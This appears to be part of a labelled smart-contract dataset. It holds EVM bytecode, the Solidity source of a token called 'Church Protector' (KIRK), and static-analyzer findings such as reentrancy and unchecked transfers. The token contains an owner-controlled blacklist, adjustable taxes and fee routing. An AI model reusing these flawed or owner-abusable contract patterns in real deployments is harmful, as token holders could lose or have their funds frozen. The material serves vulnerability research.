fff16565b611f9790919063ffffffff16565b611f9790919063ffffffff16565b90508093505050506113e1565b50505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461146457600080fd5b8060038190555050565b600b60009054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114d957600080fd5b80600a8190555050565b60008111611559576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600b60009054906101000a900460ff166115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4661726d696e67206973206e6f7420656e61626c65640000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561168c57600080fd5b505af11580156116a0573d6000803e3d6000fd5b505050506040513d60208110156116b657600080fd5b8101908080519060200190929190505050611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61174233611cad565b600061176d61271061175f60055485611f6890919063ffffffff16565b611f9790919063ffffffff16565b905060006117848284611f5190919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561183957600080fd5b505af115801561184d573d6000803e3d6000fd5b505050506040513d602081101561186357600080fd5b81019080805190602001909291905050506118e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61193881600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202590919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198f33600c611fb090919063ffffffff16565b6119ed576119a733600c61204190919063ffffffff16565b5042600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60045481565b600e6020528060005260406000206000915090505481565b60095481565b60065481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7457600080fd5b8060048190555050565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611adc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b1657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60106020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c4357600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611cb8826111f4565b90506000811115611f0957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d5657600080fd5b505af1158015611d6a573d6000803e3d6000fd5b505050506040513d6020811015611d8057600080fd5b8101908080519060200190929190505050611e03576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611e5581601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202590919063ffffffff16565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ead8160095461202590919063ffffffff16565b6009819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600082821115611f5d57fe5b818303905092915050565b60008082840290506000841480611f87575082848281611f8457fe5b04145b611f8d57fe5b8091505092915050565b600080828481611fa357fe5b0490508091505092915050565b6000611fd8836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612071565b905092915050565b6000612008836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612094565b905092915050565b600061201e8260000161217c565b9050919050565b60008082840190508381101561203757fe5b8091505092915050565b6000612069836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61218d565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461217057600060018203905060006001866000018054905003905060008660000182815481106120df57fe5b90600052602060002001549050808760000184815481106120fc57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061213457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612176565b60009150505b92915050565b600081600001805490509050919050565b60006121998383612071565b6121f25782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506121f7565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220437259e786cb05aa1af5d55bcf20227807bc1cd27f4c97b9a5cb83d5021f69af64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,507
0xab5e2c716b9641b4290587977eae1f643c008e0e
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ChurchProtector is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Church Protector"; string private constant _symbol = "KIRK"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x0f8aE8c06923bA25729C707e0e361A91af3576aC); _buyTax = 6; _sellTax = 6; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/3; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 13) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 13) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034e578063c3c8cd801461036e578063c9567bf914610383578063dbe8272c14610398578063dc1052e2146103b8578063dd62ed3e146103d857600080fd5b8063715018a6146102af5780638da5cb5b146102c457806395d89b41146102ec5780639e78fb4f14610319578063a9059cbb1461032e57600080fd5b8063273123b7116100f2578063273123b71461021e578063313ce5671461023e57806346df33b71461025a5780636fc3eaec1461027a57806370a082311461028f57600080fd5b806306fdde031461013a578063095ea7b31461018557806318160ddd146101b55780631bbae6e0146101dc57806323b872dd146101fe57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152601081526f21b43ab931b410283937ba32b1ba37b960811b60208201525b60405161017c9190611933565b60405180910390f35b34801561019157600080fd5b506101a56101a03660046117c4565b61041e565b604051901515815260200161017c565b3480156101c157600080fd5b5069021e19e0c9bab24000005b60405190815260200161017c565b3480156101e857600080fd5b506101fc6101f73660046118ee565b610435565b005b34801561020a57600080fd5b506101a5610219366004611784565b610482565b34801561022a57600080fd5b506101fc610239366004611714565b6104eb565b34801561024a57600080fd5b506040516009815260200161017c565b34801561026657600080fd5b506101fc6102753660046118b6565b610536565b34801561028657600080fd5b506101fc61057e565b34801561029b57600080fd5b506101ce6102aa366004611714565b6105b2565b3480156102bb57600080fd5b506101fc6105d4565b3480156102d057600080fd5b506000546040516001600160a01b03909116815260200161017c565b3480156102f857600080fd5b506040805180820190915260048152634b49524b60e01b602082015261016f565b34801561032557600080fd5b506101fc610648565b34801561033a57600080fd5b506101a56103493660046117c4565b610844565b34801561035a57600080fd5b506101fc6103693660046117ef565b610851565b34801561037a57600080fd5b506101fc6108f5565b34801561038f57600080fd5b506101fc610935565b3480156103a457600080fd5b506101fc6103b33660046118ee565b610aff565b3480156103c457600080fd5b506101fc6103d33660046118ee565b610b37565b3480156103e457600080fd5b506101ce6103f336600461174c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061042b338484610b6f565b5060015b92915050565b6000546001600160a01b031633146104685760405162461bcd60e51b815260040161045f90611986565b60405180910390fd5b6801158e460913d0000081111561047f5760108190555b50565b600061048f848484610c93565b6104e184336104dc85604051806060016040528060288152602001611b04602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc8565b610b6f565b5060019392505050565b6000546001600160a01b031633146105155760405162461bcd60e51b815260040161045f90611986565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105605760405162461bcd60e51b815260040161045f90611986565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161045f90611986565b4761047f81611002565b6001600160a01b03811660009081526002602052604081205461042f9061103c565b6000546001600160a01b031633146105fe5760405162461bcd60e51b815260040161045f90611986565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161045f90611986565b600f54600160a01b900460ff161561068957600080fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106e957600080fd5b505afa1580156106fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107219190611730565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076957600080fd5b505afa15801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a19190611730565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107e957600080fd5b505af11580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108219190611730565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061042b338484610c93565b6000546001600160a01b0316331461087b5760405162461bcd60e51b815260040161045f90611986565b60005b81518110156108f1576001600660008484815181106108ad57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e981611a99565b91505061087e565b5050565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161045f90611986565b600061092a306105b2565b905061047f816110c0565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161045f90611986565b600e546109819030906001600160a01b031669021e19e0c9bab2400000610b6f565b600e546001600160a01b031663f305d719473061099d816105b2565b6000806109b26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1557600080fd5b505af1158015610a29573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4e9190611906565b5050600f8054680ad78ebc5ac620000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac757600080fd5b505af1158015610adb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047f91906118d2565b6000546001600160a01b03163314610b295760405162461bcd60e51b815260040161045f90611986565b600d81101561047f57600b55565b6000546001600160a01b03163314610b615760405162461bcd60e51b815260040161045f90611986565b600d81101561047f57600c55565b6001600160a01b038316610bd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b038216610c325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b038216610d595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b60008111610dbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045f565b6001600160a01b03831660009081526006602052604090205460ff1615610de157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2357506001600160a01b03821660009081526005602052604090205460ff16155b15610fb8576000600955600c54600a55600f546001600160a01b038481169116148015610e5e5750600e546001600160a01b03838116911614155b8015610e8357506001600160a01b03821660009081526005602052604090205460ff16155b8015610e985750600f54600160b81b900460ff165b15610ec5576000610ea8836105b2565b601054909150610eb88383611265565b1115610ec357600080fd5b505b600f546001600160a01b038381169116148015610ef05750600e546001600160a01b03848116911614155b8015610f1557506001600160a01b03831660009081526005602052604090205460ff16155b15610f26576000600955600b54600a555b6000610f31306105b2565b600f54909150600160a81b900460ff16158015610f5c5750600f546001600160a01b03858116911614155b8015610f715750600f54600160b01b900460ff165b15610fb6576000610f83600383611a43565b9050610f8f8183611a82565b9150610f9a816112c4565b610fa3826110c0565b478015610fb357610fb347611002565b50505b505b610fc38383836112fa565b505050565b60008184841115610fec5760405162461bcd60e51b815260040161045f9190611933565b506000610ff98486611a82565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f1573d6000803e3d6000fd5b60006007548211156110a35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045f565b60006110ad611305565b90506110b98382611328565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116a57600080fd5b505afa15801561117e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a29190611730565b816001815181106111c357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e99130911684610b6f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112229085906000908690309042906004016119bb565b600060405180830381600087803b15801561123c57600080fd5b505af1158015611250573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112728385611a2b565b9050838110156110b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b600f805460ff60a81b1916600160a81b17905580156112ea576112ea3061dead83610c93565b50600f805460ff60a81b19169055565b610fc383838361136a565b6000806000611312611461565b90925090506113218282611328565b9250505090565b60006110b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a5565b60008060008060008061137c876114d3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ae9087611530565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113dd9086611265565b6001600160a01b0389166000908152600260205260409020556113ff81611572565b61140984836115bc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144e91815260200190565b60405180910390a3505050505050505050565b600754600090819069021e19e0c9bab240000061147e8282611328565b82101561149c5750506007549269021e19e0c9bab240000092509050565b90939092509050565b600081836114c65760405162461bcd60e51b815260040161045f9190611933565b506000610ff98486611a43565b60008060008060008060008060006114f08a600954600a546115e0565b9250925092506000611500611305565b905060008060006115138e878787611635565b919e509c509a509598509396509194505050505091939550919395565b60006110b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc8565b600061157c611305565b9050600061158a8383611685565b306000908152600260205260409020549091506115a79082611265565b30600090815260026020526040902055505050565b6007546115c99083611530565b6007556008546115d99082611265565b6008555050565b60008080806115fa60646115f48989611685565b90611328565b9050600061160d60646115f48a89611685565b905060006116258261161f8b86611530565b90611530565b9992985090965090945050505050565b60008080806116448886611685565b905060006116528887611685565b905060006116608888611685565b905060006116728261161f8686611530565b939b939a50919850919650505050505050565b6000826116945750600061042f565b60006116a08385611a63565b9050826116ad8583611a43565b146110b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b803561170f81611ae0565b919050565b600060208284031215611725578081fd5b81356110b981611ae0565b600060208284031215611741578081fd5b81516110b981611ae0565b6000806040838503121561175e578081fd5b823561176981611ae0565b9150602083013561177981611ae0565b809150509250929050565b600080600060608486031215611798578081fd5b83356117a381611ae0565b925060208401356117b381611ae0565b929592945050506040919091013590565b600080604083850312156117d6578182fd5b82356117e181611ae0565b946020939093013593505050565b60006020808385031215611801578182fd5b823567ffffffffffffffff80821115611818578384fd5b818501915085601f83011261182b578384fd5b81358181111561183d5761183d611aca565b8060051b604051601f19603f8301168101818110858211171561186257611862611aca565b604052828152858101935084860182860187018a1015611880578788fd5b8795505b838610156118a95761189581611704565b855260019590950194938601938601611884565b5098975050505050505050565b6000602082840312156118c7578081fd5b81356110b981611af5565b6000602082840312156118e3578081fd5b81516110b981611af5565b6000602082840312156118ff578081fd5b5035919050565b60008060006060848603121561191a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561195f57858101830151858201604001528201611943565b818111156119705783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a0a5784516001600160a01b0316835293830193918301916001016119e5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3e57611a3e611ab4565b500190565b600082611a5e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7d57611a7d611ab4565b500290565b600082821015611a9457611a94611ab4565b500390565b6000600019821415611aad57611aad611ab4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047f57600080fd5b801515811461047f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122093f8f5445a426c3a1ea024c2e75775500d302fbb31f3c6cab084455d6a30e94964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,508
0xa22160bea244f00bef5a0b1ca85977b005716fec
